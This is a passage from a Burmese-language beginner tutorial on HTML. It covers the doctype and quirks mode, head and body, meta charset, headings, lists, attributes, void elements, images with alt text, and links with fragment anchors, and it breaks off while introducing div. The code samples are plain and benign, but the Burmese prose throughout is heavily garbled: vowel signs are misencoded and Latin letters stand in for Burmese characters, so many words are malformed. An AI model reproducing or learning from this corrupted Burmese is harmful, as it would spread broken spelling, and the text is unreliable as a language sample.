ထဲမှာရှိတဲ့  Element  ကြေတွgoစ်ကြေeကာင်း ထင်ရှားgမင်သာသွားကြေစပါတယ်။ oတ်ရတာ ပုိအဆင်ကြေgပသွားသလုိ
အoွင့်အပိတ်ကြေတွ မစံုလုိ့ မှားတဲ့အခါမှာမျ ို းမှာ အမှားကို ပုိပြပီးကြေတာ့ gမင်သာကြေစမှာ goစ်ပါတယ်။ Indent   ကြေတွ  
မမှန်လည်း အလုပ်လုပ်ကြေပမယ့်    Indent    မှန်မှသာ gပန်oတ်လုိ့  အဆင်ကြေgပမှာပါ  ။ မဟုတ်ရင် oတ်ရခက်ပြပီး၊
အမှားရှာရ၊ gပင်ရခက်ကြေနပါလိမ့်မယ်။

ဟိုးအကြေပါ်က နမူနာမှာ ကြေရးသားပါဝင်တဲ့ အမှတ်အသား တစ်ခခုျင်းစီအကြေeကာင်းကို ဆက်ပြပီးကြေတာ့ ရှင်းgပပါ
မယ်။  ပထမဆံုးအကြေနနဲ့  ဒီအမှတ်အသားတစ်ခုချင်းစီကို  HTML  Tag  လုိ့ကြေခါ်ပြပီး  အတွဲအoက်gပည့်စံုတဲ့
HTML Tag  အစံုလုိက်ကို  Element  လုိ့  ကြေခါ်တယ်လုိ့  မှတ်ထားပါ။  ကြေနာက်ပုိင်းမှာ  အမှတ်အသားလုိ့ကြေgပာ
မယ့်အစား Element လုိပဲ့ ဆက်သံုးသွားမှာ goစ်ပါတယ်။ စeကည့်eကပါမယ်။

<!DOCTYPE html> -  ဒီ  Element  ကို  Document Type Declaration  လုိ့  ကြေခါ်ပါတယ်။ အရင်က
HTML နဲ့ ဆက်စပ် Document အမျ ို းအစားကြေတွ အမျ ို းမျ ို းရှိလိမ့်မယ်လုိ့ ရည်ရွယ်ခဲ့eကတာပါ။ HTML 4.0,
HTML 4.01, XHTML 1.0, XHTML 1.1, HTML 5 စသgoင့် Version အမျ ို းမျ ို းရှိသလုိ Strict, Transitional,
Frameset စသgoင့် မူကွဲကြေတွလည်း အများကြကီးပါ။ အ့ဲဒါကြေတွကို အခုကြေခါင်းရှုပ်ခံပြပီး ကြေgပာစရာ၊ မှတ်စရာမလုိ
ကြေတာ့ပါyူး။  ကကြေနက့ြေခတ်မှာ  တစ်မျ ို းတည်းပဲ  သံုးeကပါကြေတာ့တယ်။  အ့ဲဒါက  HTML  5  ပါ။  HTML  5
Document တစ်ခုgoစ်ကြေeကာင်း အမှတ်အသားအကြေနနဲ ့ဒီ Element က ထိပ်ဆံုးမှာမgoစ်မကြေနပါသင့်ပါတယ်။
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ပါမှမှန်တာလား၊  ပါမှအလုပ်လုပ်တာလားဆိုရင်၊  မဟုတ်ပါyူး။  မပါလည်း  အလုပ်ကြေတာ့ လုပ်ပါတယ်။  ဒီ
ကြေနရာမှာ ကြေgပာစရာရှိတာက၊ HTML က သတ်မှတ်ထားတဲ့ကြေရးနည်းအတိုင်း အတိအကျမကြေရးyဲ မှားပြပီး ကြေရး
မိရင် yာgoစ်မလဲ ဆိုတာကို  eကားgoတ်ကြေgပာစရာ ရှိပါတယ်။ ဥပမာ  <h1> … </h1> လုိ့  ကြေရးရမှာကို
<h1> … </h2> လုိ့ကြေရးမိတယ်ဆိုရင်  yယ်လုိလုပ်မလဲ။ အoွင့်နဲအ့ပိတ်  မှားကြေနပါပြပီ။  Programming
Language ကြေတွမှာဆိုရင် ကြေရးထုံးမှားရင် Error တက်ပါတယ်၊ အလုပ်မလုပ်ပါyူး။ HTML မှာကြေတာ့ ကြေရးထုံး
မှားလည်း Error မတက်ပါyူး၊ ဆက်အလုပ်လုပ်ပါတယ်။

ဒီကြေနရာမှာ  အလုပ်လုပ်ပံုလုပ်နည်း  (၂)  မျ ို းရှိတယ်လုိ့  မှတ်နိုင်ပါတယ်။  ရုိးရုိး  Normal  Mode  နဲ့  Quirks
Mode  ပါ။  Document Type ကြေeကညာတဲ့ အမှတ်အသားပါရင်  Normal Mode  နဲ့ အလုပ်လုပ်ပြပီး မပါရင်
Quirks Mode နဲ့ အလု််ပလုပ်တယ်လုိ့ မှတ်နိုင်ပါတယ်။ ဒီနှစ်ခုyာကွာလဲဆိုရင် အခုလုိ လုိရင်းအတိုချုပ်
မှတ်ပါ။  Normal Mode  မှာ  HTML  စံသတ်မှတ်ချက်အတိုင်း တတိိကျကျ မှားရင် မှားတဲ့အတိုင်း ဆက်gပ
ကြေပးပါတယ်။ Quirks Mode မှာ ကြေရးထားတာ မှားကြေနရင်လည်း Browser က သူကြေကာင်းမယ်ထင်သလုိ gပင်
ပြပီး gပကြေပးပါတယ်။ gပင်ပြပီးgပတာ မကြေကာင်းyူးလားလုိ့ ကြေမးရင်၊ မကြေကာင်းပါyူး။ မှားကြေနတာကို မှားမှန်းမသိ
ရyဲ  မှန်တယ်ထင်မိတဲ့အခါ  eကာကြေလ  gပဿနာကြကီးကြေလ  goစ်သွားပါလိမ့်မယ်။  မှားကြေနတာကို  မှားကြေနတဲ့
အတိုင်း သိရတာက ပုိကြေကာင်းလုိ့  Document Type  ကြေeကညာတဲ့  အမှတ်အသားကို  မgoစ်မကြေန ထည့်သင့်
တယ်လုိ့ ကြေgပာတာပါ။ မပါရင်လည်း အလုပ်ကြေတာ့ လုပ်တယ်ဆိုတာကိုလည်း သတိgပုရမှာပါ။

<html><head><body> -  ဒီသံုးခုကိုကြေတာ့ အတွဲလုိက်  ကြေgပာoုိလုိ့ပါတယ်။  Document  တစ်ခုကို  နှစ်
ပုိင်းခွဲပြပီး eကည့်သင့်ပါတယ်။ တစ်ကယ့်အချက်အလက်ကြေတွ ပါဝင်တဲ့  Body နဲ့ ရှင်းလင်းချက်ကြေတွ ပါဝင်တဲ့
Header  ပါ။  <body> Element  ကို  တစ်ကယ့် အချက်အလက်ကြေတွ စုစည်းoုိသုံ့းပြပီး  <head> Element
ကိုကြေတာ့ ရှင်းလင်းချက်နဲ့အညွှန်းကြေတွ စုစည်းထည့်သွင်းoုိ့ သုံးပါတယ်။ ရှင်းလင်းချက်အညွှန်းဆိုတာ ဥပမာ
-  yယ်oွန့်ကိုသုံးထားတယ်၊ ကြေခါင်းစဉ်ကyာgoစ်တယ်၊ ကြေရးသားသူက yယ်သူyယ်ဝါgoစ်တယ်၊ စသgoင့်
အချက်အလက်ကြေတွပါ။ ဒါကြေတွက တစ်ကယ့်  Content  မဟုတ်ပါyူး၊  Content  အကြေeကာင်း ရှင်းgပထားတဲ့
ရှင်းလင်းချက်ကြေတွပါ။  ဒီလုိ  ရှင်းလင်းချက်ကြေတွကို  Content  နဲ့ကြေရာမထားသင့်လုိ့  အခုလုိ  <head> နဲ့
<body>  နှစ်ပုိင်းခွဲထားတာပါ။  ဒီလုိနှစ်ပုိင်းခွဲထားတဲ့  Element  နှစ်ခုကို  တွဲoက်စုစည်းကြေပးလုိက်တဲ့
သကြေyာနဲ့ <html> ဆိုတဲ့ Element ထဲမှာ ကြေရးကြေပးလုိက်တာ goစ်ပါတယ်။ ဒါကြေတွ တစ်ခုမှ မပါလည်း ရပါ
တယ်။  ဒီ  Element  ကြေတွမပါလုိ့  မမှားပါyူး။  ဒါကြေပမယ့်  အကြေလ့အကျင့်ကြေကာင်းအကြေနနဲ့  ထည့်ကြေရးသင့်ပါ
တယ်။ မထည့်ထားတဲ့ Document ကြေတွ ကြေတွ့ ရင်လည်း မမှားyူးဆိုတာကို သတိgပုoုိပ့ါပဲ။
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<meta> -  ဒီ  Element  ကို  ကြေပးထားတဲ့နမူနာမှာ  Character  Set  သတ်မှတ်oုိ့  သုံးgပထားပါတယ်။  ဒီ
အကြေeကာင်းကလည်း ကျယ်gပန့်ပါတယ်။ အကျဉ်းချုပ်အကြေနနဲ့  UTF-8  လုိ့ကြေခါ်တဲ့  Encoding  နည်းပညာကို
Unicode Character ကြေတွ သိမ်းဆည်း/ကြေoာ်gပoုိ့ သံုးရပါတယ်။ Unicode Character ဆိုတဲ့ထဲမှာ အင်္ဂ[လိပ်
စာ၊ gမန်မာစာ၊ ကြေဇာ်င်္ဂျနီဲ့ကြေရးတဲ့စာ၊ ယူနီကုဒ်နဲ့ကြေရးတဲ့စာ အကုန်ပါပါတယ်။ တgခား  Character Set  ကြေတွ ရှိ
eကပါကြေသးတယ်။ ASCII လုိ့ကြေခါ်တဲ့ Character Set ကကြေတာ့ အကြေgခခံအကျဆံုးgoစ်ပြပီးကြေတာ့ အင်္ဂ[လိပ်စာကြေတွ
သိမ်းဆည်း/ကြေoာ်gပနိုင်ပါတယ်။  မူအားgoင့်  အင်္ဂ[လိပ်စာမဟုတ်ရင်  မgပနိုင်yူးလုိ့  ကြေgပာလုိရ့ပါတယ်။  ဒါကြေပ
မယ့် Win Myanmar oွန့်လုိ oွန့်ကြေတွက ASCII  ကိုသုံးထားပါတယ်။ ဒါကြေတွစံုကြေအာင် ကြေလျှာက်ကြေgပာရင်ကြေတာ့
ကြေတာ်ကြေတာ်  ကြေပရှည်သွားပါလိမ့်မယ်။  Latin1  ဆိုတဲ့  Character  Set  လည်း  အသုံးများပါကြေသးတယ်။
အင်္ဂ[လိပ်စာအgပင် အတွန့်အတက်၊ အစက်အဆံကြေတွပါတဲ့ လက်တင်စာကြေတွ အတွက်ပါ အဆင်ကြေgပပါတယ်။
ကကြေနက့ြေခတ်မှာကြေတာ့ UTF-8 ကိုသာ စွယ်စံုသုံးအgoစ် သံုးeကပါကြေတာ့တယ်။ Browser အကြေဟာင်းတစ်ချ ို ့မှာ
Default က Latin1 goစ်ကြေနနိုင်ပါတယ်။ ဒါကြေeကာင့် ဒီသတ်မှတ်ချက်မပါyဲ gမန်မာစာလုိ စာမျ ို းကြေတွကြေရးသား
ထည့်သွင်းရင် အဆင်ကြေgပမှာ မဟုတ်ပါyူး။ ကြေနာက်ပုိင်း Browser ကြေတွကကြေတာ့ UTF-8 ကို Default ထားလုိ့
ကိုယ်မသတ်မှတ်ကြေပးလဲ အဆင်ကြေgပeကပါတယ်။ ဒါကြေပမယ့် ကြေသချာကြေအာင် ထည့်ကြေပးသင့်ပါတယ်။

<meta> ကို တgခား ရှင်းလင်းချက်ကြေတွ ထည့်သွင်းoုိလ့ည်း သုံးeကပါကြေသးတယ်။ Author တို့ Description
တို့ Keywords တိုလုိ့့ အကြေeကာင်းအရာကြေတွ ထည့်လုိ့ ရတာပါ။ အ့ဲဒါကြေတွကို အခုအကြေသးစိတ် မeကည့်ပါနဲဥ့ီး။
ကြေနာက်လုိအပ်လာကြေတာ့မှ ဆက်eကည့်သွားလုိရ့ပါတယ်။

<title> -  ဒီ  Element  ကကြေတာ့  Document  ကို  ကြေခါင်းစဉ်တပ်ကြေပးoုိ့  သုံးပါတယ်။  Browser  မှာ
Document ကို oွင့်eကည့်လုိက်တဲ့အခါ Title Bar တို့  Tab Bar တိုမှ့ာ ဒီနာမည်ကို ကြေခါင်းစဉ်အကြေနနဲ့ လာgပ
ကြေပးမှာပါ။ မပါမgoစ် ပါသင့်တဲ့ အချက်goစ်ပါတယ်။

<h1><h2><h3><h4><h5><h6> - Content ထဲမှာ ကြေခါင်းစီးကြေတွ ထည့်သွင်းoုိအ့တွက် Element (၆)
မျ ို းရှိပါတယ်။  <h1> ကကြေန  <h6> အထိပါ။  ကြေခါင်းစီးအစီအစဉ်အလုိက်  သင့်ကြေတာ်ရာကို  သုံးကြေပးနိုင်ပါ
တယ်။  <h1> ကအgမင့်ဆံုး၊  အကြကီးဆံုးနဲ့  အဓိကအကျဆံုး  ကြေခါင်းစီးပါ။  ကျန်တဲ့  ကြေခါင်းစီးကြေတွကို  ကိုယ့်
Content ကြေပါ်မှာ မူတည်ပြပီး သူ့ကြေနရာနဲ့သူ လုိအပ်တဲ့အဆင့်ကို ကြေရွးချယ်အသံုးgပုနိုင်ပါတယ်။
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<p> -  စာပုိဒ်ကြေတွထည့်သွင်းoုိအ့တွက်  Paragraph  ရဲ့  အတိုကြေကာက်goစ်တဲ့  <p> Element  ကို  သုံးရပါ
တယ်။ စာပုိဒ်တိုင်းကို <p> Element အမှတ်အသားနဲ ့ကြေရးကြေပးoုိပ့ါပဲ။

<ul> <ol> <li> - List ကြေတွကြေoာ်gပoုိအ့တွက် Element နှစ်မျ ို းရှိပါတယ်။ နမူနာမှာ <ul> ကိုသုံးထား
ပြပီး  <ol> လည်း ရိှပါကြေသးတယ်။  <ul> ဆိုတာ  Unordered List  ဆိုတဲ့သကြေyာgoစ်ပြပီး  <ol> ကကြေတာ့
Ordered List ဆိုတဲ့သကြေyာပါ။ ဒါကြေeကာင့် ကြေသချာအစီအစဉ် စီထားပြပီးသားစာရင်းကြေတွ ထည့်ချင်ရင် <ol>
နဲထ့ည့်ပြပီး ကြကိုတင်စီထားgခင်းမရှိတဲ့  စာရင်းကြေတွ ထည့်ချင်ရင်  <ul> နဲ့ထည့်နိုင်ပါတယ်။ သူတိုရ့ဲ့အထဲမှာ
List Item  အကြေနနဲ့  <li> Element  ကိုသုံးပြပီး  Item  ကြေတွ တန်းစီ  ထည့်ကြေပးရgခင်းgoစ်ပါတယ်။  Browser
ကြေတွက ကြေoာ်gပတဲ့အခါ <ul> နဲထ့ည့်ထားတဲ့ List ကြေတွကို Bullet နဲ့gပပြပီး <ol> နဲ့ ထည့်ထားတဲ့ List ကြေတွ
ကိုကြေတာ့ Number နဲ ့gပကြေပးကြေလ့ရှိပါတယ်။

List ဆိုတာမျ ို းက နှစ်ဆင့်သံုးဆင့်လည်း ရှတိတ်ပါတယ်။ ဥပမာအားgoင့် ဒီလုိပါ-

 HTML 

<ul>
<li>Web Browser</li>
<li>

HTTP Server
<ol>

<li>CGI</li>
<li>MIME</li>

</ol>
</li>

</ul>

ဒီကုဒ်အရ  <ul> အတွင်းမှာ  <li> နှစ်ခုရှိပြပီး  ဒုတိယ  <li> အတွင်းမှာ  Content နဲအ့တူ ကြေနာက်ထပ်
List  တစ်ခုက  <ol> နဲ့  ထပ်ဆင့်ရှိကြေနတာပါ။  ဒီကြေလာက်ဆိုရင်  အသံုးများမယ့်  အကြေgခခံ  Element  ကြေတွ
ကြေတာ်ကြေတာ် ပါသွားပါပြပီ။
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Element Structure
ကြေနာက်ထပ် eကည့်သင့်တဲ့  Element ကြေတွအကြေeကာင်း ထပ်မကြေgပာခင်  Element ကြေတွရဲ့ oဲွ့စည်းပံုအကြေeကာင်း
အရင်ကြေgပာပါဦးမယ်။  HTML Element  တစ်ခုမှာ  အများအားgoင့်  အခုလုိ  အပုိင်း  (၄)  ပုိင်း  ပါဝင်ကြေလ့ရှိပါ
တယ်။

         အဖွင့် Tag                 အပိတ် Tag
            |                                     |
  __________|___________                        __|__
 |                      |                      |     |

<h2 class="top"> Chapter One </h2>

       |_______________|   |_________________|
               |                    |
               |                    |
           Attribute             Content

အoွင့်  Tag  နဲ့  အပိတ်  Tag  eကားထဲမှာ  Content  တည်ရှိပြပီး၊  အoွင့်  Tag  ထဲမှာ  Attribute  လုိ့ကြေခါ်တဲ့
သတ်မှတ်ချက်ကြေတွ  ပါဝင်နိုင်ပါတယ်။  Content  နဲ့  အပိတ်  Tag  မပါတဲ့  Element  ကြေတွလည်း  ရှိပါကြေသး
တယ်။  Void  Tag,  Empty  Tag  စသgoင့်  နှစ်မျ ို းကြေခါ်eကပါတယ်။  ဟိုအကြေပါ်မှာ  ကြေပးခဲ့တဲ့  နမူနာထဲက
<meta> Element ဟာ Empty Element အမျ ို းအစား goစ်ပါတယ်။ သူ့မှာ အoွင့်နဲ့  Attribute  သာပါပြပီး
Content နဲ့ အပိတ် မပါပါyူး။ HTML မှာ Element ကြေပါင်း  (၁၀၀) ကြေလာက်ရှိသလုိ၊ Attribute ကြေတွလည်း
အများကြကီး ရှိကြေနပါတယ်။

Attribute ကြေတွကို ပံုစံနှစ်မျ ို းနဲ့ ကြေတွ့နိုင်ပါတယ်။ အgပည့်အစံုကြေရးသားgခင်းနဲ့ အတိုကြေကာက် ကြေရးသားgခင်းတို့
goစ်ပါတယ်။ အgပည့်အစံုကြေရးတဲ့အခါ ကြေရှ့က Attribute Property လာပြပီး ကြေနာက်က Attribute Value လာ
ရပါတယ်။ ဒီလုိပါ -

 HTML 

<p class="alert" id="note"> … </p>
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နမူနာအရ <p> Element မှာ class နဲ့ id ဆိုတဲ့ Attribute နှစ်ခုရှိပြပီးကြေတာ့ Value ကြေတွလည်း ကိုယ်စီရှိ
eကပါတယ်။  Attribute Value  ကြေတွကို  Quote  အoွင့်အပိတ်နဲ့  ကြေရးကြေပးရပါတယ်။ အများအားgoင့်  Quote
အoွင့်အပိတ် မပါရင်လည်း အလုပ်လုပ်ကြေပမယ့်၊  Value မှာ Space ပါကြေနရင် Quote မပါလုိ့မရကြေတာ့ပါyူး။
ကြေရှ့  Attribute  ရဲ့  Value  နဲ့  ကြေနာက်  Attribute  ရဲ့  Property  လဲ ကြေရာသွားတတ်ပါကြေသးတယ်။ ဒါကြေeကာင့်
အကြေလ့အကျင့်ကြေကာင်းအကြေနနဲ့ Attribute Value တိုင်းကို  Quote ထဲမှာ ထည့်ပြပီး ကြေရးကြေပးရပါတယ်။ HTML
Element ကြေတွနဲ့ Attribute Property ကြေတဟွာ Case Insensitive goစ်ပါတယ်။ အကြကီးအကြေသး ကြကိုက်သလုိ
ကြေရးလုိရ့ပါတယ်။  Attribute Value  ကြေတွမှာကြေတာ့ အကြကီးအကြေသး လဲွလုိ့ မရတာကြေတွ ရှိပါတယ်။ ဒါကြေeကာင့်
တစ်ညီတည်း  goစ်သွားကြေအာင်  မှတ်ထားကြေပးပါ။  HTML  Element    နဲ့    Attribute    ကြေတွအားလံုးကို  စာလံုး  
အကြေသးကြေတွနဲခ့ျည်းပဲ အပြမဲတမ်း ကြေရးသင့်ပါတယ်။ Empty Element ကြေတရွဲ့ oဲွ့စည်းပံုက ဒီလုိပါ။

 HTML 

<img src="image.jpg" alt="Background Image">
<input type="text" value="22" name="age">
<br>
<hr>

Empty Element ကြေတွမှာ  Attribute  ရှိနိုင်သလုိ၊ မရှိရင်လည်း ရပါတယ်။ အရင်တံုးက XHTML လုိ့ကြေခါ်တဲ့
HTML မူကွဲတစ်မျ ို းရှိခဲ့oူးပါတယ်။ အ့ဲဒီမူကွဲမှာဆိုရင် ဒီလုိ Empty Element ကြေတွကို Self Close လုပ်ကြေပးရ
မယ်လုိ ့သတ်မှတ်ထားပါတယ်။ Self Close ဆိုတာ ဒီလုိပါ။

 HTML 

<img src="image.jpg" alt="Background Image" />
<input type="text" value="22" name="age" />
<br />
<hr />

အပိတ်မရှိyူးဆိုတာ ကြေပါ်လွင်ကြေအာင် တစ်ခါထဲ ပိတ်ကြေပးလုိက်တဲ့ သကြေyာပါ။ အခုကြေတာ့ အ့ဲဒီလုိ တစ်ခါထဲ
ပိတ်ပြပီးကြေရးကြေပးစရာ  မလုိအပ်ကြေတာ့ပါyူး။  အကယ်၍များ  အ့ဲဒီလုိ  ပိတ်ပြပီးကြေရးထားတာမျ ို း  ကြေတွ့ရင်လည်း
သူ့အကြေeကာင်းနဲသူ့  ရှိတယ်ဆိုတာကို  သိကြေစoုိအ့တွက်  ထည့်ကြေgပာgပတာပါ။  React  လုိ  JavaScript
Framework  မျ ို းမှာဆိုရင်  Empty Element  ကြေတွကို တစ်ခါထဲ ပိတ်ကြေပးရမယ်ဆိုတဲ့ သတ်မှတ်ချက်မျ ို း ရှိ
ကြေနပါတယ်။
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Important Elements
ပြပီးခဲ့တဲအပုိင်းမှာ  Empty  Element  တစ်ခုgoစ်တဲ့  <img> ကို  နမူနာကြေပးခဲ့ပါတယ်။  ပံုကြေတွ  ထည့်သွင်းoုိ့
အတွက် အသုံးgပုရတဲ့ Element တစ်ခုgoစ်ပါတယ်။ HTML Element ကြေတွမှာ အများအားgoင့် Attribute ဆို
တာ လုိရင်သံုး၊ မလုိရင်မသံုးyဲ ကြေနလုိရ့တယ်ဆိုတဲ့သကြေyာ ရှိကြေပမယ့် တစ်ချ ို ့  Element ကြေတွမှာကြေတာ့ မပါ
မgoစ်ပါရမယ့် Attribute ကြေတရွှိပါတယ်။ <img> Element မှာ src Attribute မပါအgoစ်ပါဝင်ရမှာ goစ်ပါ
တယ်။  src Attribute  ကိုသုံးပြပီး  ကြေoာ်gပကြေစလုိတဲ့  ပံုရဲ့တည်ကြေနရာကို  ကြေပးရမှာမုိလုိ့ပ့ါ။  URL  လိပ်စာ
အgပည့်အစံုအကြေနနဲ့  ကြေပးနိုင်သလုိ၊့  oုိင်  Path  လမ်းကြေeကာင်းအကြေနနဲလ့ည်း  ကြေပးနိုင်ပါတယ်။  ထူးgခားချက်
အကြေနနဲ့ alt Attribute လည်း ပါဝင်သင့်တယ်လုိ့ မှတ်သားထားရပါမယ်။ alt ဟာ Alternative Text ဆို
တဲ့ အဓိပ္ပါယ်goစ်ပြပီး ပံုရဲ့ကိုယ်စား အစားထုိးသံုးလုိရ့နိုင်မယ့် စာကိုကြေပးရမှာပါ။ HTML ဟာ ကွန်ပျူတာစနစ်
ကြေတွက နားလည်နိုင်တဲ့ Content ကြေတွoဲွ့စည်းoုိလုိ့့ ကြေgပာခဲ့ပါတယ်။ အကယ်၍များ ကွန်ပျူတာစနစ်က Text
Only ပဲ နားလည်တဲ့စနစ် goစ်ကြေနလုိ့ ပံုကြေတွကို ကြေoာ်gပနိုင်gခင်းမရှိyူးဆိုရင် src အစား alt ကို အစားထုိး
အသုံးgပုနိုင်oုိဆ့ိုတဲ့  ရည်ရွယ်ချက်မျ ို းနဲပ့ါ။  alt မgoစ်မကြေနပါရမှာ  မဟုတ်ကြေပမယ့်  အကြေလ့အကျင့်ကြေကာင်း
တစ်ခုအကြေနနဲ ့ထည့်ကြေပးသင့်ပါတယ်။ စမ်းeကည့်ချင်ရင် ဒီနမူနာကြေတွကို ကူးပြပီးစမ်းeကည့်လုိရ့ပါတယ်။

 HTML 

<img src="https://eimaung.com/img/react.png" alt="React Book Cover">
<img src="https://eimaung.com/img/laravel.png" alt="Laravel Book Cover">
<img src="https://eimaung.com/img/api.jpg" alt="API Book Cover">

ကြေပးထားတဲ့  နမူနာရဲ့  ကြေနာက်ဆံုးတစ်ခုမှာ  src က မှားကြေနပါလိမ့်မယ်။  api.jpg ဆိုတဲ့oုိင်  မရှိပါyူး။
api.png ပဲရှိပါတယ်။ အ့ဲဒီ အမှားအတိုင်း ကူးယူပြပီး  Browser မှာစမ်းသပ်eကည့်ရင် ပံုက မှားကြေနလုိ့ မgပ
နိုင်တဲ့အတွက် alt မှာ ကြေပးထားတဲ့စာကို အစားထုိး gပကြေပးတယ်ဆိုတာကို ကြေတွ့ ရနိုင်ပါတယ်။
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ကြေနာက်ထပ် အကြေရးပါတဲ့  Element  ကကြေတာ့  <a> Element  goစ်ပါတယ်။  Anchor  ရဲ့အတိုကြေကာက်goစ်ပြပီး
Link  ကြေတွထည့်oုိ့  သုံးပါတယ်။  HTML  ကိုတီထွင်တဲ့  အဓိကရည်ရွယ်ချက်က ဒီ  Link  ကြေတွလုိ့  ကြေgပာလုိရ့ပါ
တယ်။  Document  ကြေတွ  အgပန်အလှန်  ချတိ်လုိရ့တဲ့၊  ညွှန်းလုိရ့တဲ့  ဒီလုပ်ကြေဆာင်ချက်ဟာ  ကြေပါက့ြေသးကြေသး
မဟုတ်ပါyူး။ WorldWideWeb ကြေခါ် အgပန်အလှန်ချတိ်ဆက်ကြေနတဲ့ ကွန်ယက်စနစ်ကြကီးက ဒီ Link ကြေတွကို
အကြေgခခံပြပီး goစ်ကြေပါ်လာတာပါ။ ကြေရးသားပုံကြေရးသားနည်းက ဒီလုိပါ။

 HTML 

<a href="https://www.google.com/" title="Search">Google</a>

သူ့မှာ  Attribute  နှစ်ခုပါပါတယ်။ href Attribute  က မgoစ်မကြေနပါရမှာပါ။ ချတိ်ချင်တဲ့လိပ်စာကို  href
မှာ ကြေပးရမှာပါ။ title Attribute ကကြေတာ့ <img> ရဲ့ alt လုိပါပဲ။ မပါလည်း ရကြေပမယ့် ပါရင်ပုိကြေကာင်း
ပါတယ်။  Link  က  ညွှန်းထားကြေပမယ့်  မသွားနိုင်တဲ့အခါ၊  မသွားချင်တဲ့အခါ၊  အ့ဲဒီအညွှန်းရဲ့  အဓိပ္ပါယ်ကို
title မှာ eကည့်လုိက်နိုင်မှာ goစ်ပါတယ်။ ဒီ title Attribute ကို မည်သည့် HTML Element မှာမဆို
သုံးလုိရ့ပါတယ်။ Browser ကြေတွက Element ကို  Mouse Pointer ကြေထာက်လုိက်ရင်  title မှာကြေပးထား
တဲ့ တန်oုိးကို Tooltip ကြေလးနဲ့လည်း လာgပကြေပးeကပါတယ်။
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ဒီ <a> Element ကိုသုံးပြပီး URL လိပ်စာ (သုိ့မဟုတ်) Path လမ်းကြေeကာင်းသိတဲ့ yယ်လုိ Content အမျ ို း
အစားကိုမဆို ချတိ်လုိ့ ညွှန်းလုိရ့ပါတယ်။ ဝy်ဆိုက်ကြေတွ၊  HTML Document ကြေတွမှ မဟုတ်ပါyူး။ ပံုကြေတွ၊
oုိင်ကြေတွကို ညွှန်းချင်ရင်လည်း ညွှန်းလုိရ့တာပါပဲ။ URL/Path ကြေပးoုိ့ပဲလုိပါတယ်။

Link ကြေတွကိုကြေoာ်gပတဲ့အခါမှာ စာလံုးအgပာကြေရာင်/စာလုံးခရမ်းကြေရာင် အကြေရာင်နှစ်မျ ို းနဲ့  Browser ကြေတွကgပ
ကြေပးပါတယ်။  မသွားyူးကြေသးတဲ့  Link  အသစ်ဆိုရင်  စာလံုးအgပာကြေရာင်နဲ့  gပပြပီး  သွားoူးတဲ့  Link  ဆိုရင်
ခရမ်းကြေရာင်နဲ့  gပကြေပးတာပါ။  Underline  လည်း တားပြပီးကြေတာ့ gပကြေပးပါကြေသးတယ်။ ဒါကြေeကာင့် အသုံးgပုသူ
ကြေတွက စာလံုးအgပာကြေရာင်/ခရမ်းကြေရာင်ကို  Underline  တားထားရင် နှိပ်လုိရ့တဲ့  Link  ပဲဆိုတာ အလုိလုိသိ
ကြေနeကပါပြပီ။  ဒီလုိ  အလုိလုိသိကြေနတဲ့အတွက်  သတိထားရမှာက  Link  မဟုတ်တဲ့  စာကြေတွကို  စာလံုး
အgပာ/ခရမ်းကြေရာင် မသုံးမိကြေစoုိန့ဲ၊့  Underline  မတားမိကြေစoုိပဲ့goစ်ပါတယ်။ အသံုးgပုသူက နှိပ်လုိရ့တဲ့  Link
မှတ်ပြပီး  တစ်ကယ်တမ်း  နှိပ်မရတဲ့အခါ  သူ့ရဲ့သyာဝအသိနဲ့  ဆန့်ကျင်ကြေနလုိ့  စတိ်ညစ်သွားတတ်ပါတယ်။
သတိgပုသင့်တဲ့ အကြေeကာင်းအရာတစ်ခုအကြေနနဲ့ ထည့်သွင်းမှတ်သားoုိ့goစ်ပါတယ်။

ထူးgခားချက်အကြေနနဲ့ ဒီ Link ကြေတွကို သိပ်ရှည်တဲ့ Document ကြေတရွဲ့ တစ်ကြေနရာကကြေန ကြေနာက်တစ်ကြေနရာကို
လှမ်းညွှန်းoုိလ့ည်း  သံုးနိုင်ပါကြေသးတယ်။  တgခား  Document  ကိုလှမ်းညွှန်းတာ  မဟုတ်ကြေတာ့y၊ဲ  ဒီ
Document  ထဲကပဲ တgခားကြေနရာကို  ညွှန်းတဲ့သကြေyာပါ။ ဒီအတွက်  id Attribute  နဲ့  တွဲသုံးနိုင်ပါတယ်။
ဥပမာ - အခုလုိ Element တစ်ခုရှိတယ်ဆိုပါစို။့
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 HTML 

<h2 id="ch2">Chapter Two</h2>

ဒီ Element ကို လှမ်းညွှန်းတဲ့ Link ကို အခုလုိကြေရးသားနိုင်ပါတယ်။

 HTML 

<a href="#ch2" title="Go to Chapter Two">Chapter Two</a>

href Attribute  အတွက် တန်oုိးကြေပးတဲ့အခါ  # သက[တနဲအ့တူ  id ကိုတွဲကြေပးgခင်းအားgoင့် ညွှန်းနိုင်တာ
goစ်ပါတယ်။  Document  တစ်ခုထဲမှာညွှန်းချင်ရင်  နမူနာမှာကြေပးထားသလုိ  #id ကိုကြေပးလုိက်ရင်  ရပါပြပီ။
တgခား Document ထဲက Element ကို လှမ်းညွှန်းချင်ရင်လည်း အခုလုိ ညွှန်းနိုင်ပါတယ်။

 HTML 

<a href="https://en.wikipedia.org/wiki/HTML">HTML</a>
<a href="https://en.wikipedia.org/wiki/HTML#Elements">Elements</a>

ကြေပးထားတဲ့နမူနာနှစ်ခုမှာ  URL ကြေတွကို င်္ဂရုgပုeကည့်ပါ။ ပထမ URL က Wikipedia ရဲ့  HTML Article  ကို
ညွှန်းတဲ့  URL  goစ်ပြပီး  ဒုတိယ  URL  က အ့ဲဒီ  HTML Article  ထဲက  Elements  ဆိုတဲ့အပုိင်းကို  ညွှန်းထား
တယ်ဆိုတာကို  ကြေတွ့နိုင်ပါတယ်။ ဒီနည်းနဲ့  <a> Element  ကြေတွကိုသုံးပြပီး  Document  ကြေတွ အgပန်အလှန်
ချတိ်လုိ၊့ ညွှန်းလုိ ့ရသလုိ၊ Document ထဲက Element ကြေတွကိုထိ အတိအကျညွှန်းလုိရ့gခင်း goစ်ပါတယ်။

Generic Elements
ဆက်လက်ပြပီးကြေတာ့ အသုံးများပြပီး အသုံးဝင်တဲ့ Element ကြေတွကို ကြေoာ်gပကြေပးပါမယ်။

<div> -  ဒီ  Element  ကို  Generic  Element  လုိ့ကြေခါ်ပါတယ်။  အသံုးအများဆုံး  Element  တစ်ခုပါ။
Generic Element ဆိုတာ yယ်လုိကြေနရာမျ ို းမှာ သံုးoုိအ့တွက်ရယ်လုိ့ တတိိကျကျ သတ်မှတ်ထားgခင်း မရှိ
